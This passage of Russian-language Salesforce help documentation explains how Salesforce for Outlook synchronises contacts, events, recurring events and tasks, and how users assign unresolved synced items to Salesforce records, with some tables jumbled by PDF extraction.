Общие сведения о синхронизации повторяющихся событий посредством приложения Salesforce for Outlook

Синхронизация задач с помощью Salesforce for Outlook

Пользователи могут синхронизировать задачи между приложением Microsoft® Outlook® и системой Salesforce.

Автоматическое назначение организаций для синхронизированных контактов
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Управление способом синхронизации элементов Microsoft® Outlook® с системой Salesforce

Пользователимогут управлять контактами, событиямии задачамипосредствомкатегорий Outlook для синхронизации
элементов Outlook с системой Salesforce — путем выбора отдельных элементов для синхронизации или путем
синхронизации всех элементов и выбора элементов, синхронизацию которых необходимо предотвратить.

Выбор элементов Microsoft® Outlook® для синхронизации с системой Salesforce

При синхронизации контактов, событий и задач Outlook с системой Salesforce посредством параметра
«Синхронизировать только выбранные элементы Outlook» в приложении Salesforce for Outlook рекомендуем
выбрать элементы Outlook, подлежащие синхронизации.

Предотвращение синхронизации элементов Microsoft® Outlook® с системой Salesforce

При синхронизации контактов, событий и задач Outlook с системой Salesforce посредством параметра
«Синхронизировать все элементы Outlook» в приложении Salesforce for Outlook пользователи могут выбирать
элементы, которые не подлежат синхронизации.

СМ. ТАКЖЕ:

Синхронизация контактов с помощью Salesforce for Outlook

Синхронизация событий с помощью Salesforce for Outlook

Синхронизация задач с помощью Salesforce for Outlook

Мои неопределенные элементы
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Синхронизация контактов с помощью Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации
контактов по направлению
из Salesforce в Outlook:
• «Чтение» для контактов

И

Для направления
синхронизации
контактов должно быть
выбрано значение «Из
Salesforce в
Outlook»

Для синхронизации
контактов в обоих
направлениях:
• «Чтение» и

«Редактирование» для
контактов, «Чтение» для
организаций

И

Для направления
синхронизации
контактов должно быть
выбрано значение
«Синхронизация в обоих
направлениях»

Приложение Salesforce for Outlookпозволяет синхронизировать важныеконтакты Outlook
и Salesforce. При первоначальной синхронизации контактов приложение
Salesforce for Outlook проверяет Outlook и Salesforce на наличие контактов с одинаковыми
адресами эл. почты. При обнаружении совпадения контакты синхронизируются. В
противном случае приложение Salesforce for Outlook выполняет проверку на наличие
контакта с такимжеличнымименем, фамилиейиназваниемкомпании. Еслисовпадения
отсутствуют, то контакты синхронизируются после добавления нового контакта.

Конфигурация Outlook определяет элементы, подлежащиесинхронизации, направление
синхронизации данных между приложением Outlook и системой Salesforce, а также
алгоритм действий в случае возникновения конфликтов данных. В зависимости от
возможностиизменениянаправленийсинхронизации, приложение Salesforce for Outlook
может поддерживать перечисленные ниже способы синхронизации.

• «Из Salesforce в Outlook»

• «Синхронизация в обоих направлениях»

Приложение Salesforce for Outlookпозволяет синхронизироватьнеболее 5 000 контактов
и не учитывает регистр при сопоставлении контактов.

Синхронизацияконтактовпонаправлениюиз Salesforce в Outlook

РезультатУсловие

контакт Salesforce заменяет контакт Outlook,
а затемвыполняетсясинхронизацияобоих
контактов.

Если контакт существует в Outlook, то...

приложение Salesforce for Outlook
синхронизирует контакт Salesforce и
создает контакт Outlook.

Если контакт отсутствует в Outlook, то...

приложение Salesforce for Outlook не
синхронизирует контакт Salesforce
повторно.

Если контакт удаляется из Outlook, то...

приложение Salesforce for Outlook
выбираетсяисинхронизируетодинизних.

Если найдено несколько совпадающих
контактов в Outlook, то...

контакт Salesforce заменяет контакт Outlook.Если контакт обновляется в Salesforce, то...

обновленныйконтакт Outlook сохраняется,
но не синхронизируется с контактом
Salesforce. При следующем обновлении
контакта Salesforce контакт Salesforce
заменяет контакт Outlook.

Если контакт обновляется в Outlook, то...

такжеудаляется соответствующийконтакт
Outlook. Если контакт Outlook удален, а

Если контакт удаляется из Salesforce, то...

контакт Salesforce обновлен, то контакт
Outlook подлежит восстановлению.
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Синхронизацияконтактов в обоихнаправленияхмежду Salesforceи Outlook

РезультатУсловие

контакт создается автоматическинадругойстороне, а затем
выполняется синхронизация обоих контактов.

Если контакт существует только на одной стороне
синхронизации, то...

одинконтакт заменяет другойконтакт, а затем выполняется
синхронизация записей. Если конфигурация Outlook

Если найден совпадающий контакт, то...

определяетприоритет контактов Outlook, то запись Outlook
заменяет запись Salesforce, или наоборот, в случае
приоритетаконтактовSalesforce. Измененияводнойзаписи
автоматически переносятся в другую запись. В случае
возникновения конфликта запись, имеющая приоритет,
определяется параметрами алгоритма конфликта.

при наличии одного контакта Outlook, для которого указан
адрес эл. почты, контакт Outlook синхронизируется с

Если найдено несколько совпадающих контактов в
Salesforce, то...

контактом Salesforce на основе заданных пользователем
критериев соответствия (например, с тем контактом,
который обновлялся последним).

последниеизменениядобавляются воба контакта. Вслучае
возникновения конфликта запись, имеющая приоритет,
определяется параметрами алгоритма конфликта.

Если контакт обновляется, то...

соответствующий контакт Outlook удаляется в том случае,
если приоритет контактов Salesforce выше; а контакт

Если контакт удаляется из Salesforce, а контакт Outlook
обновляется, то...

Salesforce восстанавливается в том случае, если приоритет
контактов Outlook выше.

соответствующийконтакт Salesforce удаляется в том случае,
если приоритет контактов Outlook выше; а контакт Outlook

Если контакт удаляется из Outlook, а контакт Salesforce
обновляется, то...

восстанавливается в том случае, если приоритет контактов
Salesforce выше.

Исключениеопределенных записейиз синхронизации

Автоматическая синхронизация позволяет исключать некоторые элементы из процесса синхронизации посредством
приложения Salesforce for Outlook несколькими способами.

• Пользователи могут определять необходимость синхронизации элементов, помеченных в приложении Microsoft®

Outlook® в качестве личных. Чтобы предотвратить синхронизацию личных элементов, откройте параметры
Salesforce for Outlook и отмените выбор нужных типов личных элементов.

Элементы, синхронизированные в приложении Outlook и позже помеченные в качестве личных, хранятся в системе
Salesforce. Тем не менее, изменение элементов в приложении Outlook не инициирует обновление соответствующих
элементов Salesforce.
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• Чтобыпредотвратить синхронизациюопределенных элементов Outlook, независимоот того, являются ониличными
или нет, назначьте им категорию Outlook «Не синхронизировать с Salesforce». Дополнительную информацию об
использовании категорий Outlook см. в документации к приложению Outlook.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Определение синхронизированных контактов
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Синхронизация событий с помощью Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации
событий по направлению
из Outlook в Salesforce:
• «Чтение» и

«Редактирование» для
событий; для
направления
синхронизациисобытий
должно быть выбрано
значение «Из
Outlook в
Salesforce»

Для синхронизации
событий по направлению
из Salesforce в Outlook:
• «Чтение» и

«Редактирование» для
событий; для
направления
синхронизациисобытий
должно быть выбрано
значение «Из
Salesforce в
Outlook»

Для синхронизации
событий в обоих
направлениях:
• «Чтение» и

«Редактирование» для
событий; для
направления
синхронизациисобытий
должно быть выбрано
значение «Синхронизация
в обоих направлениях»

Для синхронизации
многодневных событий:
• «Включить

многодневные события»
для действий

Приложение Salesforce for Outlook позволяет синхронизировать события Outlook и
Salesforce. Синхронизированное событие может быть назначено связанным записям
Salesforce (например, контактам, организациям, возможностям и т. д.). Кроме того,
благодарясинхронизациисобытий, пользователямдоступноболееточноепредставление
о текущей загруженности при создании событий и отправке запросов на проведение
конференций посредством календаря Salesforce.

Какие события доступны для синхронизации?
Конфигурация Outlook определяет элементы, подлежащие синхронизации,
направление синхронизации данных между приложением Outlook и системой
Salesforce, а также алгоритм действий в случае возникновения конфликтов данных.
Фильтры, заданные в конфигурации, определяют события, подлежащие
синхронизации. Ниже указаны возможные значения.

• «СЕГОДНЯ»: синхронизациясобытий, которыезавершаютсясегодняилипозже.
Время начала — 00:00.

• «ПРОШЛЫЙ МЕСЯЦ»: синхронизациясобытий, которыезавершилисьвпервый
день прошлого месяца или позже.

• «ПОСЛЕДНИЕ N ДН.»: синхронизация событий, которые завершились
указанное количество дней назад или позже (например, «ПОСЛЕДНИЕ 30

ДН.»).

Синхронизация обновлений для события прекращается в том случае, если событие
не соответствует указанному диапазону.

Синхронизации не подлежат: события на весь день, начинающиеся в первый день
синхронизации; участникисобытия. Многодневныесобытия синхронизируютсякак
отдельные события в обоих направлениях.Шаблоны повторяющихся событий
должны полностью совпадать.Приложение Salesforce for Outlook синхронизирует
событияна основе их конечных, а не начальных дат. Например, при синхронизации
текущих и будущих событий также выполняется синхронизация двухдневных
событий, выполнение которых началось вчера.

Как соотносятся события?
Припервоначальнойсинхронизациисобытия связываются с текущимисобытиями,
темаи время которых совпадают, либо, в случаеотсутствия совпадений, добавляются
новые события.

Как назначить события записям Salesforce?
Событие, добавленное в систему Salesforce, может быть назначено другим записям с
помощьюстраницы «Моинеопределенныеэлементы» илиполейсобытия «Связано
с» и «Имя». Событие добавляется в связанный список «Журнал действий» или
«Открытыедействия» соответствующейзаписи. Изменениянемогутбыть сохранены
в том случае, если событие содержит обязательное настраиваемое поле, либо
настраиваемоеполедействия становитсяобязательнымпоследобавления элементов
в список неопределенных событий.

Кому доступны синхронизированные события в системе Salesforce?

События, которые не являются личными, доступны текущему пользователю Salesforce, вышестоящим пользователям
в иерархии ролей и пользователям, имеющим доступ к связанным записям. Полномочие на просмотр календаря
может быть предоставлено другим пользователям, персональным и общедоступным группам, ролям или ролям и
подчиненным.
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Исключениеопределенных записейиз синхронизации

Автоматическая синхронизация позволяет исключать некоторые элементы из процесса синхронизации посредством
приложения Salesforce for Outlook несколькими способами.

• Пользователи могут определять необходимость синхронизации элементов, помеченных в приложении Microsoft®

Outlook® в качестве личных. Чтобы предотвратить синхронизацию личных элементов, откройте параметры
Salesforce for Outlook и отмените выбор нужных типов личных элементов.

Элементы, синхронизированные в приложении Outlook и позже помеченные в качестве личных, хранятся в системе
Salesforce. Тем не менее, изменение элементов в приложении Outlook не инициирует обновление соответствующих
элементов Salesforce.

• Чтобыпредотвратить синхронизациюопределенных элементов Outlook, независимоот того, являются ониличными
или нет, назначьте им категорию Outlook «Не синхронизировать с Salesforce». Дополнительную информацию об
использовании категорий Outlook см. в документации к приложению Outlook.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Определение синхронизированных событий

Общие сведения о синхронизации повторяющихся событий посредством приложения Salesforce for Outlook
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Общие сведения о синхронизации повторяющихся событий посредством приложения Salesforce for Outlook

ВЕРСИИ

Доступно для настройки в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации
повторяющихся событий
междуприложением Outlook
и системой Salesforce:
• «Повторяющиеся

события»

Кроме того, «Чтение» и
«Редактирование» для
событий, а также одно
из следующих
направлений
синхронизации:

«Из Outlook в
Salesforce»,

«Из Salesforce в
Outlook» или

«Синхронизация в обоих
направлениях»

Приложение Salesforce for Outlook позволяет организации синхронизировать
повторяющиеся события между Outlook и Salesforce. Ниже перечислены возможные
шаблоны синхронизации повторов.

• Ежедневно

• Еженедельно

• Ежемесячно

• Ежегодно

Повторяющиеся события, синхронизированные с системой Salesforce, могут быть
назначены связанным записям (например, контактам, организациям, возможностям и
т. д.). Кроме того, благодаря синхронизации повторяющихся событий, пользователям
доступноболее точноепредставлениео текущейзагруженностиприсозданиисобытий
и отправке запросов на проведение конференций посредством календаря Salesforce.

Повторяющиеся события не отображаются на странице «Мои неопределенные
элементы». Чтобы связать повторяющиеся события с записями Salesforce, рекомендуем
воспользоваться календарем.

Общие сведенияоразличияхмежду Outlook и Salesforce

Приложение Outlook и система Salesforce поддерживают разные алгоритмы работы
повторяющихся событий.

РекомендацииСобытия

Если повторы содержат более 100 экземпляров, то приложение
Salesforce for Outlook создает последовательность Salesforce,
содержащую 100 экземпляров.

После выполнения текущих экземпляров приложение
Salesforce for Outlook автоматически добавляет новую
последовательность, охватывающую следующую сотню
экземпляров. Расписание добавления данных групп системой
Salesforce определяется количеством выполненных экземпляров,
датой последней синхронизации и наличием измененных
экземпляров.

Диапазоны
экземпляров

Приложение Salesforce for Outlook не поддерживает шаблон
повторения Outlook «выходной день».

Ежемесячные
экземпляры

Приложение Salesforce for Outlookпозволяетнастраивать ежегодные
события. Приложение Salesforce for Outlook синхронизирует

Ежегодные
экземпляры

повторяющуюся последовательность только при вводе значения
«1» в поле «Повторять кажд.»шаблона повторения Outlook.
Данный параметр позволяет настраивать ежегодные повторы, но
не повторы каждые 2 или 3 года.

Кроме того, приложение Salesforce for Outlook не поддерживает
шаблон повторения Outlook «выходной день».

1784

Управление электронной почтойПродажи клиентам



РекомендацииСобытия

Система Salesforce не поддерживает повторяющиеся многодневные события.Многодневные события

Изменениеповторяющейсяпоследовательности

При необходимости повторяющаяся последовательность может быть изменена. Ниже перечислены рекомендации,
позволяющие предотвратить потерю сведений об отдельно измененных экземплярах.

РекомендацииОбъект изменения

Данные изменения не применяются к отдельно измененным экземплярам Salesforce.

Например, пользователь изменяет время встречи в отдельном экземпляре, а затем изменяет
время встречи во всей последовательности. В этом случае время встречи, измененное в
последовательности, не применяется к отдельному измененному экземпляру.

Повторяющаяся
последовательность в
приложении Outlook

Ниже перечислены доступные критические изменения.

• Время встречи

• Шаблоны повторения

• Диапазоны экземпляров

Критические изменения, внесенные в повторяющуюся последовательность, инициируют
потерю изменений в отдельных экземплярах.

Система Salesforce не поддерживает изменения прошедших начальных дат.Начальные даты для
повторяющейся
последовательности
Outlook

Данное критическое изменение удаляет все изменения, внесенные в отдельные экземпляры
последовательностивприложении Outlook. Данныеизменениянеприменяютсявприложении

Конечные даты для
повторяющейся

Outlook. При необходимости конечные даты могут быть изменены в приложении Outlook,последовательности
Salesforce однако данный тип критических изменений удаляет все изменения, внесенные в отдельные

экземпляры (как в приложении Outlook, так и в системе Salesforce).

Отдельные экземпляры • Критические изменения, внесенные в повторяющуюся последовательность, могут
инициировать потерю данных изменений.

• При удалении экземпляра и его последующей замене другим экземпляром приложение
Salesforce for Outlook обновляет записи Salesforce некорректно. В этом случае экземпляр,
удаленныйизприложения Outlook, сохраняется в системе Salesforceнаряду с экземпляром,
используемым для его замены.

Например, пользовательизменяетповторяющеесясобытие Outlook. Экземпляр «4 октября»
удаляется и заменяется экземпляром «5 октября». При этом в системе Salesforce
отображаются два экземпляра для даты «4 октября»: удаленный экземпляр и экземпляр,
используемый для замены. Для даты «5 октября» экземпляры отсутствуют.
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РекомендацииОбъект изменения

• Изменения Outlook распространяются на экземпляры Salesforce, независимо от наличия
критическихизмененийв экземплярах Salesforce. Однако, удаленныеэкземпляры Salesforce
не восстанавливаютсяине заменяются отдельнымиизмененнымиэкземплярами Outlook.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Определение синхронизированных событий

Синхронизация событий с помощью Salesforce for Outlook
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Синхронизация задач с помощью Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для синхронизации задач
по направлению из Outlook
в Salesforce:
• «Чтение» и

«Редактирование» для
задач; для направления
синхронизации задач
должно быть выбрано
значение «Из
Outlook в
Salesforce»

Для синхронизации задач
по направлению из
Salesforce в Outlook:
• «Чтение» и

«Редактирование» для
задач; для направления
синхронизации задач
должно быть выбрано
значение «Из
Salesforce в
Outlook»

Для синхронизации задач в
обоих направлениях:
• «Чтение» и

«Редактирование» для
задач; для направления
синхронизации задач
должно быть выбрано
значение «Синхронизация
в обоих направлениях»

Пользователи могут синхронизировать задачи между приложением Microsoft® Outlook®

и системой Salesforce.

Синхронизированная задача может быть назначена связанным записям Salesforce
(например, контактам, организациям и возможностям).

Какие задачи доступны для синхронизации?
Конфигурация Outlook определяет элементы, подлежащие синхронизации,
направление синхронизации данных между приложением Outlook и системой
Salesforce, а также алгоритм действий в случае возникновения конфликтов данных.
Фильтры, заданныевконфигурации, определяютзадачи, подлежащиесинхронизации.
Ниже указаны возможные значения.

• «СЕГОДНЯ»: синхронизация задач с крайним сроком сегодняилипозже. Время
начала — 00:00.

• «ПРОШЛЫЙ МЕСЯЦ»: синхронизация задач с крайним сроком в первый день
прошлого месяца или позже.

• «ПОСЛЕДНИЕ N ДН.»: синхронизация задач с крайним сроком в указанное
количество дней назад или позже (например, «ПОСЛЕДНИЕ 30 ДН.»).

Приложение Salesforce for Outlook позволяет синхронизировать только некоторые
типы задач.Нижеперечислены типы задач, синхронизируемые только при условии
соответствия диапазону дат, заданному посредством фильтра задач.

• Повторяющиеся задачи Salesforce (при синхронизации с приложением Outlook)

• Выполненные задачи (при условии, что задачи помечаются как выполненные
после синхронизации посредством приложения Salesforce for Outlook)

• Отложенные задачи

• Выполняемые задачи

• Неначатые задачи

• Повторяющиеся задачи, создаваемые в системе Salesforce

• Задачи, помеченные для последующего выполнения

• Ожидающие задачи

Ниже перечислены несинхронизируемые задачи.

• Повторяющиеся задачи Outlook (при синхронизации с системой Salesforce)

• Выполненные задачи (при условии, что задачи помечаются как выполненные
перед синхронизацией посредством приложения Salesforce for Outlook)

• Задачи, создаваемые автоматически при назначении сообщению эл. почты или
контакту пометки для последующего выполнения

Как соотносятся задачи?
При первоначальной синхронизации задачи связываются с текущими задачами,
темы и крайние сроки которых совпадают. Задачи без крайнего срока связываются
только на основе одинаковой темы.

Как назначить задачи записям Salesforce?
Задача, добавленная в систему Salesforce, может быть назначена другим записям с
помощью страницы «Мои неопределенные элементы» или полей задачи «Связано с» и «Имя». Задача добавляется
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в связанный список «Журнал действий» или «Открытые действия» соответствующей записи. Изменения не могут
быть сохранены в том случае, если задача содержит обязательное настраиваемое поле, либо настраиваемое поле
действия становится обязательным после добавления элементов в список неопределенных задач.

Исключениеопределенных записейиз синхронизации

Автоматическая синхронизация позволяет исключать некоторые элементы из процесса синхронизации посредством
приложения Salesforce for Outlook несколькими способами.

• Пользователи могут определять необходимость синхронизации элементов, помеченных в приложении Microsoft®

Outlook® в качестве личных. Чтобы предотвратить синхронизацию личных элементов, откройте параметры
Salesforce for Outlook и отмените выбор нужных типов личных элементов.

Элементы, синхронизированные в приложении Outlook и позже помеченные в качестве личных, хранятся в системе
Salesforce. Тем не менее, изменение элементов в приложении Outlook не инициирует обновление соответствующих
элементов Salesforce.

• Чтобыпредотвратить синхронизациюопределенных элементов Outlook, независимоот того, являются ониличными
или нет, назначьте им категорию Outlook «Не синхронизировать с Salesforce». Дополнительную информацию об
использовании категорий Outlook см. в документации к приложению Outlook.

СМ. ТАКЖЕ:

Общие сведения о синхронизации между приложением Microsoft® Outlook® и системой Salesforce

Определение синхронизированных задач Outlook
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Автоматическое назначение организаций для синхронизированных контактов

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения
организаций:
• «Чтение» для

организаций и
«Редактирование» для
контактов

Для создания организаций:
• «Создание» для

организаций и
«Редактирование» для
контактов

И

«Показать быстрое
создание»

Приложение Salesforce for Outlook позволяет автоматически назначать
синхронизированные контакты Outlook организациям.

В таблице ниже описан процесс назначения организаций.

РезультатУсловие

контакт назначается этой организации.Если компания контакта соответствует
одной организации Salesforce, то...

контакт добавляется в список «Мои
неопределенные элементы» в системе
Salesforce, которыйможнопросмотретьна
начальной странице контактов или в
приложении Salesforce for Outlook. Данный
список позволяет вручную назначать
контакты текущим организациям,
добавлять новые организации и
подтверждать, что контакты являются
личными.

Если компания контакта соответствует
нескольким организациям Salesforce или
не соответствует ни одной организации,
то...

контакт считается личным, поэтому не
добавляется в список «Мои
неопределенные элементы».

Если для контакта не указано название
компании, то...

при обнаружении соответствующей
организацииSalesforce, контактназначается
этой организации. В противном случае
контакт добавляется в список «Мои
неопределенные элементы» для
последующего определения.

Если компания контакта изменяется в
Outlook, то...

контакт удаляется из списка «Мои
неопределенные элементы» при его
следующем просмотре.

Если неопределенный контакт удаляется
в Outlook, то...

запись контакта обновляется в списке
«Мои неопределенные элементы». Если

Еслинеопределенныйконтактизменяется
в Outlook, то...

меняется компания контакта, то система
Salesforce проверяет сведения о новой
компании на наличие совпадений с
текущими организациями и, в случае
обнаружения совпадения, назначает
организации новую компанию.

СМ. ТАКЖЕ:

Синхронизация контактов с помощью Salesforce for Outlook

Определение синхронизированных контактов

Управление конфигурацией Salesforce for Outlook
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Управление способом синхронизации элементов Microsoft® Outlook® с системой Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Пользователимогутуправлятьконтактами, событиямиизадачамипосредствомкатегорий
Outlook для синхронизации элементов Outlook с системой Salesforce — путем выбора
отдельных элементов для синхронизации или путем синхронизации всех элементов и
выбора элементов, синхронизацию которых необходимо предотвратить.

Просмотрите параметры синхронизации в системной области Windows® и выберите
нужный способ синхронизации элементов Outlook с системой Salesforce.

1. Правой кнопкой мышищелкните значок Salesforce for Outlook ( ) в системной
области.

2. Выберите пункт «Параметры» и нажмите кнопку «Далее».

3. Просмотрите доступный метод синхронизации элементов: «Синхронизировать только выбранные элементы
Outlook» или «Синхронизировать все элементы Outlook».

• При синхронизации посредством параметра «Синхронизировать только выбранные элементы Outlook»

приложение Salesforce for Outlook синхронизирует только выбранные элементы Outlook. Рекомендуем назначить
нужным элементам категорию «Синхронизировать с Salesforce» на странице 1790.

• При синхронизации посредством параметра «Синхронизировать все элементы Outlook» приложение
Salesforce for Outlook синхронизирует все элементы Outlook. Рекомендуемназначить нужным элементам категорию
«Не синхронизировать с Salesforce» на странице 1791.

4. Нажмите кнопку «Отмена».

Выбор элементов Microsoft® Outlook® для синхронизации с системой Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Присинхронизацииконтактов, событийизадач Outlook ссистемойSalesforceпосредством
параметра «Синхронизировать только выбранные элементы Outlook» вприложении
Salesforce for Outlookрекомендуемвыбратьэлементы Outlook, подлежащиесинхронизации.

1. Выберите нужные контакты, события и задачи в приложении Outlook.

2. Щелкните «Выбрать категорию» в ленте Outlook.

3. Выберите категорию «Синхронизировать с Salesforce».

Синхронизация категоризированных элементов начнется при выполнении
следующего цикла синхронизации.
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Предотвращение синхронизации элементов Microsoft® Outlook® с системой Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Присинхронизацииконтактов, событийизадач Outlook ссистемойSalesforceпосредством
параметра «Синхронизировать все элементы Outlook» в приложении
Salesforce for Outlook пользователи могут выбирать элементы, которые не подлежат
синхронизации.

1. Выберите нужные контакты, события и задачи в приложении Outlook.

2. Щелкните «Выбрать категорию» в ленте Outlook.

3. Выберите категорию «Не синхронизировать с Salesforce».

Синхронизация категоризированных элементов прекратится после выполнения
следующего цикла синхронизации.

Мои неопределенные элементы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience (только
при отображении запроса
устранить конфликтные
данные
Salesforce for Outlook в
области уведомлений
панели задач Windows)

Доступно в версиях: все
версии.

При использовании Salesforce for Outlook, Exchange Sync или Email to Salesforce для
синхронизации элементов или добавления сообщений эл. почты из почтового
приложенияв систему Salesforce, любые элементы, которыенемогутбыть автоматически
назначенызаписямSalesforce, добавляютсянастраницу «Моинеопределенныеэлементы».

Данная страница обеспечивает удобное ежедневное управление неопределенными
элементами, требующимиучастия со стороныпользователей. Повторяющиеся события
не отображаются на странице «Мои неопределенные элементы». Чтобы связать
повторяющиесясобытияс записямиSalesforce, рекомендуемвоспользоватьсякалендарем.

1. Быстрый доступ к странице «Мои неопределенные элементы» с помощью ярлыка «Неопределенные элементы»
на боковой панели.
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2. Быстрыйпросмотрненазначенныхэлементов, отсортированныхпотипу, посредствомвкладок «Контакты», «События»
и «Задачи».

3. Просмотр неназначенных элементов.

4. Назначьте элементы записям Salesforce — вручную или с помощью рекомендаций Salesforce, — либо подтвердите,
что их необходимо оставить как есть.

Использование функций, упрощающих процесс определения элементов

Ниже перечисленыфункции, обеспечивающие быстрое и удобное определение элементов.

Причины использования функцииФункцияЦель

Пользовательможетодновременноназначатьнеболее 50 элементовизодной
очереди.

Пакетное
редактирование

Одновременное
пакетное
назначение
элементов

Система Salesforce отображает рекомендуемые организации, обращения и
возможности, которые могут быть назначены текущим элементам. Чтобы

РекомендацииОтображение
рекомендаций
Salesforce отменить отображение рекомендуемых записей, щелкните ссылку

«Отключить рекомендации». Чтобы возобновить их отображение,
щелкните ссылку «Включить рекомендации».

Рекомендации отображаются только при выборе контакта из результатов
поиска и пустом связанном списке. Ниже перечислены критерии,
используемые системой Salesforce для отображения рекомендаций.

• Организации:для контакта указанародительскаяорганизацияилироль
в организации.

• Обращения: контакт связан с обращением.

• Возможности: контакту назначена роль в возможности.

Определение синхронизированных контактов
Некоторыеконтактыпочтовогоприложения, синхронизируемыепосредством Salesforce for Outlookили Exchange Sync,
автоматически назначаются организациям на основе их компании. Остальные контакты добавляются в список «Мои
неопределенные элементы», который позволяет назначать контакты организациям Salesforce или оставлять их без
назначения.

Определение синхронизированных событий

Определение синхронизированных задач Outlook

СМ. ТАКЖЕ:

Определение синхронизированных задач Outlook

Определение синхронизированных контактов

Определение синхронизированных событий
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Определение синхронизированных контактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience (только
при отображении запроса
устранить конфликтные
данные
Salesforce for Outlook в
области уведомлений
панели задач Windows)

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования
неопределенных контактов:
• «Редактирование» для

контактов и «Чтение»
для организаций

И

Синхронизация
контактов

Для создания организаций:
• «Редактирование» для

контактов и «Создание»
для организаций

И

«Показать быстрое
создание»

Некоторые контакты почтового приложения, синхронизируемые посредством
Salesforce for Outlook или Exchange Sync, автоматически назначаются организациям на
основеих компании. Остальныеконтактыдобавляются в список «Моинеопределенные
элементы», которыйпозволяетназначатьконтактыорганизациямSalesforceилиоставлять
их без назначения.

1. Чтобыпросмотретьнеопределенныеконтакты, щелкнитессылку«Неопределенные
элементы» на боковой панели.

2. Чтобы выполнить определение контактов, воспользуйтесь любым из указанных
ниже способов.

• Назначьте организацию.

– Выберите нужную организацию в раскрывающемся списке «Выбор
предложеннойорганизации». Данныйсписоксодержиттолькотеорганизации,
которые соответствуют компании контакта. Предложенные организации
всегда содержат поле «Имя организации» и три первых дополнительных
поля, заданныхвмакетепоискаорганизации.Организации, которыенемогут
быть назначены контактам ввиду применения соответствующихфильтров
поиска контактов, не отображаются в качестве предложенных.

– Выберите «Поиск Salesforce.com...». Нажмите кнопку «Создать»,
укажитесведенияоборганизацииинажмитекнопку«Сохранить», иливведите
критерии поиска, нажмите кнопку «Начать» и выберите нужную
организацию. Если поле поиска не отображается, возможно, всплывающие
окна Salesforce заблокированы.

• Чтобы оставить контакт без назначения, выберите пункт «Не назначать новую
организацию» в раскрывающемся списке. Неназначенные контакты доступны
толькотекущемупользователюиадминистратору, поэтомунемогутбытьсвязаны
с записями Salesforce.

• Чтобывыбратьорганизациювслучаевозникновенияконфликтамеждупочтовым
приложениемисистемой Salesforce (разныекомпанииконтактов), выберитепункт
«Не назначать новую организацию» в раскрывающемся списке и замените одно
значение другим. Если приоритет Salesforce выше, то компания почтового
приложения заменяется организацией Salesforce. Если приоритет почтового
приложения выше, то наоборот.

• Чтобы отменить сделанный выбор, выберите пункт «- Не выбрано -» в
раскрывающемся списке.

3. Чтобы сохранить изменения, нажмите кнопку «Сохранить». Все измененные элементы удаляются из списка.
Синхронизация оставшихся элементов будет продолжена; их определение может быть выполнено позже. Чтобы
отменить все внесенныена страницуизменения, нажмите кнопку «Отмена».Все контакты, назначенныеорганизации,
отображаются в связанном списке «Контакты» для этой организации.
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Прим.: Также для определения контакта можно пометить запись контакта в качестве личной или назначить ее
организации.

Список неопределенных контактов поддерживает те же действия, что и стандартное списковое представление.
Чтобы добавитьфильтрыинастроить столбцы, нажмите кнопку «Правка»или «Создатьновоепредставление».

СМ. ТАКЖЕ:

Мои неопределенные элементы

Синхронизация контактов с помощью Salesforce for Outlook
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Определение синхронизированных событий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience (только
при отображении запроса
устранить конфликтные
данные
Salesforce for Outlook в
области уведомлений
панели задач Windows)

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра или
редактирования
неопределенных событий:
• «Редактирование» для

событий и «Чтение» для
объектов, назначаемых
событиям

И

Синхронизация
событий

Для создания записей
Salesforce:
• «Редактирование» для

событий

И

«Показать быстрое
создание» и «Создание»
для соответствующих
объектов

Для просмотра недавних
данных в полях связанных
записей:
• «Автозаполнение полей

поиска» в параметрах
поиска

Неповторяющиеся события почтового приложения, синхронизируемые посредством
Salesforce for Outlookили Exchange Sync, отображаются в календаре Salesforceина странице
«Мои неопределенные элементы». Данная страница позволяет назначать события
связанным записям Salesforce или оставлять их без назначения.

Прим.: Повторяющиеся события не отображаются на странице «Мои
неопределенные элементы». Чтобы связать повторяющиеся события с записями
Salesforce, рекомендуем воспользоваться календарем.

1. Чтобыпросмотретьнеопределенныесобытия, щелкнитессылку «Неопределенные
элементы» на боковой панели.

2. Взависимостиотнужногорезультата, выберителюбоеиз указанныхнижедействий.

• Чтобыназначить связаннымзаписям, укажитенужнуюсвязаннуюзапись водном
или обоих полях. При необходимости выберите нужный тип записи в
раскрывающемся списке. При назначении интереса дополнительные записи не
